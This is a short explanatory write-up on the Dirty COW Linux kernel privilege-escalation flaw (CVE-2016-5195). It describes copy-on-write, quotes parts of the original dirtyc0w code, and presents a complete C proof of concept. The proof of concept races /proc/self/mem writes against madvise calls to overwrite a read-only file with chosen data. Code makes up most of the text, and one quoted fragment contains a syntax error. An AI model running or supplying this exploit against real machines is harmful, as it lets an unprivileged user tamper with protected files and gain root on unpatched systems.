Dirty COW (CVE-2016-5195)
author:[anusO1]
COW (Copy on Write)
Copy on Write is an optimization technique that allows virtual pages of memory in different processes, which have identical content to map to the same physical memory pages. If one of the processes writes to one of these shared pages, the data is copied to a new physical page and the virtual-to-physical-memory mappings are updated according to the changes. This techniqie is used (and abused) in many different scenarios.
Vulnerability
“Dirty Cow” (CVE-2016-5195) is a privilege escelation vulnerability in the Linux kernel. Here we are looking at the “dirtyc0w PoC”
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
It starts two threads. One thread opens /proc/self/mem read-write and loops millions of times writing the data specified on the command-line to it at the offset of the mmap’ed file. /proc/self/mem is an entry in the procfs virtual file system which gives access to the pages of a current process’s virtual memory.
void *procselfmemThread(void *arg) {
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
This writes to /proc/self/mem and triggers COWs, but these pages are marked a private, and the memory pages will not be written back to the mapped file. However, the other thread loops, again millions of times, calling the madvise(2) system call on the same offset with the flag MADV_DONTNEED which tells the kernel to discard the pages that are mmap’ed.
void *madviseThread(void *arg) {
char *str;
str(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
Example POC for Dirty Cow
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
void *mapping;
char *datptr;
int offset = 0;
int len = 0;
void *throwVirtMap(){
int i;
for (i = 0; i < 10000; i++){
madvise(mapping, 1, MADV_DONTNEED);
}
}
void *writeToMem(){
int i;
int procmem = open("/proc/self/mem", O_RDWR);
for (i = 0; i < 10000; i++){
lseek(procmem, (off_t)mapping+offset, SEEK_SET);
write(procmem, datptr, len);
}
}
int main(int argc, char *argv[]){
if (argc < 3){
printf("DirtyCOW PoC\n");
printf("Usage: %s <file_to_be_written_to> <data_to_be written> <offset_to_be_written_at>\n", argv[0]);
printf("The offset parameter is optional, you can set it or not. By default, offset is 0\n");
exit(1);
}
if (argc == 4){
offset = atoi(argv[3]);
}
int bin;
struct stat fileinfo;
pthread_t t1, t2;
char *file;
file = argv[1];
len = strlen(argv[2]);
datptr = calloc(len, 0x1);
memcpy(datptr, argv[2], len);
bin = open(file, O_RDONLY);
if (bin == -1){
printf("crashed at open\n");
exit(-1);
}
if (fstat(bin, &fileinfo) == -1){
printf("crashed at getting file info\n");
exit(-1);
}
mapping = mmap(NULL, fileinfo.st_size, PROT_READ, MAP_PRIVATE, bin, 0);
pthread_create(&t1, NULL, writeToMem, NULL);
pthread_create(&t2, NULL, throwVirtMap, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
}
Who found the “Dirty Cow” vulnerability?
Phil Oester found it in October of 2016